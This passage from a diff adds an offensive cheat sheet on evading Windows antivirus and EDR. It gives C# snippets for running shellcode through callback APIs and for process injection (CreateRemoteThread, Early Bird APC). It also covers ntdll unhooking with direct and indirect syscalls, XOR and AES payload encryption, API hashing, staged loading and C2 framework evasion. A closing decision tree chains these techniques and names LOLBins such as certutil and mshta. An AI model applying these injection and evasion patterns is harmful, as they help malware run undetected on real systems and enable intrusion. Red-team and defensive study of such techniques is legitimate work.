+ execute-assembly /path/to/SharpHound.exe -c all
113
+
114
+ # Havoc
115
+ dotnet inline-execute /path/to/tool.exe args
116
+ ```
117
+
118
+ ---
119
+
120
+ ## 4. SHELLCODE EXECUTION TECHNIQUES
121
+
122
+ ### VirtualAlloc + Callback (Avoids CreateThread)
123
+
124
+ ```csharp
125
+ IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
126
+ Marshal.Copy(sc, 0, addr, sc.Length);
127
+ // Use callback API instead of CreateThread (less monitored)
128
+ EnumWindows(addr, IntPtr.Zero);
129
+ ```
130
+
131
+ **Callback APIs for shellcode execution**: `EnumWindows`, `EnumChildWindows`, `EnumFonts`, `EnumDesktops`, `CertEnumSystemStore`, `EnumDateFormats` — all accept function pointers that can point to shellcode.
132
+
133
+ ---
134
+
135
+ ## 5. PROCESS INJECTION TECHNIQUES
136
+
137
+ | Technique | APIs Used | Detection Risk | Notes |
138
+ |---|---|---|---|
139
+ | **CreateRemoteThread** | OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread | High | Classic, heavily monitored |
140
+ | **NtMapViewOfSection** | NtCreateSection, NtMapViewOfSection | Medium | Shared memory, less common |
141
+ | **Process Hollowing** | CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread | Medium | Replace process image |
142
+ | **Thread Hijacking** | SuspendThread, SetThreadContext, ResumeThread | Medium | Modify existing thread |
143
+ | **Early Bird** | CreateProcess (SUSPENDED), QueueUserAPC, ResumeThread | Low-Medium | APC before main thread |
144
+ | **Phantom DLL Hollowing** | Map DLL section, overwrite with shellcode | Low | Uses legitimate DLL mapping |
145
+ | **Module Stomping** | LoadLibrary, overwrite .text section | Low | Backed by legitimate DLL |
146
+ | **Transacted Hollowing** | NtCreateTransaction, NtCreateSection | Low | No suspicious allocations |
147
+
148
+ ### CreateRemoteThread (Basic Pattern)
149
+
150
+ ```csharp
151
+ IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
152
+ IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
153
+ WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
154
+ CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
155
+ ```
156
+
157
+ ### Early Bird APC Injection
158
+
159
+ ```csharp
160
+ // Create suspended process
161
+ STARTUPINFO si = new STARTUPINFO();
162
+ PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
163
+ CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);
164
+
165
+ // Allocate and write shellcode
166
+ IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
167
+ WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
168
+
169
+ // Queue APC to main thread (runs before main entry point)
170
+ QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
171
+ ResumeThread(pi.hThread);
172
+ ```
173
+
174
+ ---
175
+
176
+ ## 6. UNHOOKING — BYPASS EDR API HOOKS
177
+
178
+ ### Direct Syscalls (SysWhispers / HellsGate)
179
+
180
+ EDR hooks `ntdll.dll` functions. Direct syscalls bypass hooks by invoking the kernel directly.
181
+
182
+ ```
183
+ Normal: User code → ntdll.dll (HOOKED) → kernel
184
+ Direct: User code → syscall instruction → kernel (bypasses hook)
185
+ ```
186
+
187
+ | Tool | Method | Notes |
188
+ |---|---|---|
189
+ | **SysWhispers2/3** | Compile-time syscall stubs | Static syscall numbers |
190
+ | **HellsGate** | Runtime syscall number resolution | Dynamic, harder to detect |
191
+ | **HalosGate** | Resolve from neighboring unhooked syscalls | Handles partial hooks |
192
+ | **TartarusGate** | Extended HalosGate | More robust resolution |
193
+
194
+ ### Fresh ntdll Copy
195
+
196
+ ```csharp
197
+ // Read clean ntdll.dll from disk
198
+ byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
199
+ // Or from KnownDlls: \KnownDlls\ntdll.dll
200
+ // Or from suspended process (create sacrificial process, read its ntdll)
201
+
202
+ // Overwrite hooked .text section with clean copy
203
+ // → All EDR hooks in ntdll are removed
204
+ ```
205
+
206
+ ### Indirect Syscalls
207
+
208
+ ```
209
+ // Instead of: syscall (in your code — suspicious)
210
+ // Do: jump to syscall instruction inside ntdll.dll (legitimate location)
211
+ // The ret address on stack points to ntdll.dll, not your code
212
+ ```
213
+
214
+ ---
215
+
216
+ ## 7. PAYLOAD ENCRYPTION & OBFUSCATION
217
+
218
+ ### Encryption Methods
219
+
220
+ ```csharp
221
+ // AES encryption (preferred)
222
+ using Aes aes = Aes.Create();
223
+ aes.Key = key; aes.IV = iv;
224
+ byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);
225
+
226
+ // XOR (simple, fast)
227
+ for (int i = 0; i < shellcode.Length; i++)
228
+ shellcode[i] ^= key[i % key.Length];
229
+
230
+ // RC4 (stream cipher, simple implementation)
231
+ ```
232
+
233
+ ### Sleep Obfuscation
234
+
235
+ Encrypt shellcode in memory during sleep to avoid memory scanners.
236
+
237
+ | Technique | Method |
238
+ |---|---|
239
+ | **Ekko** | ROP chain → encrypt heap/stack during sleep |
240
+ | **Foliage** | APC-based sleep with memory encryption |
241
+ | **DeathSleep** | Thread de-registration during sleep |
242
+
243
+ ### Staged Loading
244
+
245
+ ```
246
+ Stage 1: Small, encrypted loader (evades static analysis)
247
+ Stage 2: Download actual payload at runtime (encrypted)
248
+ Stage 3: Decrypt in memory → execute
249
+ ```
250
+
251
+ ---
252
+
253
+ ## 8. SIGNATURE EVASION
254
+
255
+ ### String Encryption
256
+
257
+ ```csharp
258
+ // Avoid plaintext API names, URLs, tool names
259
+ // Use encrypted strings, decrypt at runtime
260
+ string decrypted = Decrypt(encryptedApiName);
261
+ IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);
262
+ ```
263
+
264
+ ### API Hashing
265
+
266
+ ```csharp
267
+ // Resolve API by hash instead of name (avoids string detection)
268
+ // Hash "VirtualAlloc" → 0x91AFCA54
269
+ IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);
270
+ ```
271
+
272
+ ### Metadata Removal
273
+
274
+ ```bash
275
+ # Strip .NET metadata
276
+ ConfuserEx / .NET Reactor / Obfuscar
277
+
278
+ # Remove PE metadata (timestamps, rich header, debug info)
279
+ # Modify compilation timestamps
280
+ # Strip PDB paths
281
+ ```
282
+
283
+ ### C2 Framework Evasion
284
+
285
+ | Framework | Key Evasion Features |
286
+ |---|---|
287
+ | **Cobalt Strike** | Malleable C2 profiles, HTTP/S traffic shaping, sleep jitter, PE evasion |
288
+ | **Sliver** | Multiple protocols (mTLS, WireGuard, DNS), stager-less, built-in obfuscation |
289
+ | **Havoc** | Indirect syscalls, sleep obfuscation, module stomping |
290
+ | **Brute Ratel** | Badger agent, syscall evasion, ETW/AMSI bypass built-in |
291
+
292
+ ---
293
+
294
+ ## 9. AV/EDR EVASION DECISION TREE
295
+
296
+ ```
297
+ Need to execute tool/payload on protected host
298
+
299
+ ├── PowerShell-based payload?
300
+ │ ├── AMSI blocking? → AMSI bypass first (§1)
301
+ │ │ ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
302
+ │ │ ├── Memory patch AmsiScanBuffer
303
+ │ │ └── Reflection-based bypass
304
+ │ ├── Script Block Logging? → ETW bypass (§2)
305
+ │ └── Constrained Language Mode? → CLM bypass or switch to C#
306
+
307
+ ├── .NET assembly (Rubeus, SharpHound, etc.)?
308
+ │ ├── Direct execution blocked?
309
+ │ │ ├── In-memory Assembly.Load (§3)
310
+ │ │ ├── Convert to shellcode with Donut (§3)
311
+ │ │ └── Use C2 execute-assembly (§3)
312
+ │ └── Still detected?
313
+ │ ├── Obfuscate assembly (ConfuserEx)
314
+ │ ├── Modify source + recompile
315
+ │ └── Use BOFs (Beacon Object Files) if CS
316
+
317
+ ├── Shellcode execution needed?
318
+ │ ├── Basic → VirtualAlloc + callback (§4)
319
+ │ ├── Need injection → choose technique by OPSEC (§5)
320
+ │ │ ├── Low detection needed → module stomping or phantom DLL
321
+ │ │ ├── Medium → early bird APC or NtMapViewOfSection
322
+ │ │ └── Quick and dirty → CreateRemoteThread
323
+ │ └── Memory scanners detect payload?
324
+ │ ├── Encrypt payload → decrypt only at execution (§7)
325
+ │ └── Sleep obfuscation (Ekko/Foliage) (§7)
326
+
327
+ ├── EDR hooking ntdll.dll?
328
+ │ ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
329
+ │ ├── Fresh ntdll copy from disk/KnownDlls (§6)
330
+ │ └── Indirect syscalls (return to ntdll instruction) (§6)
331
+
332
+ ├── Signature detection?
333
+ │ ├── Known tool signature → modify + recompile
334
+ │ ├── String-based → string encryption / API hashing (§8)
335
+ │ ├── PE metadata → strip/modify (§8)
336
+ │ └── Behavioral → change execution flow, add junk code
337
+
338
+ └── All local evasion fails?
339
+ ├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
340
+ ├── Use legitimate admin tools (PsExec, WMI, WinRM)
341
+ └── Switch to fileless / memory-only techniques
342
+ ```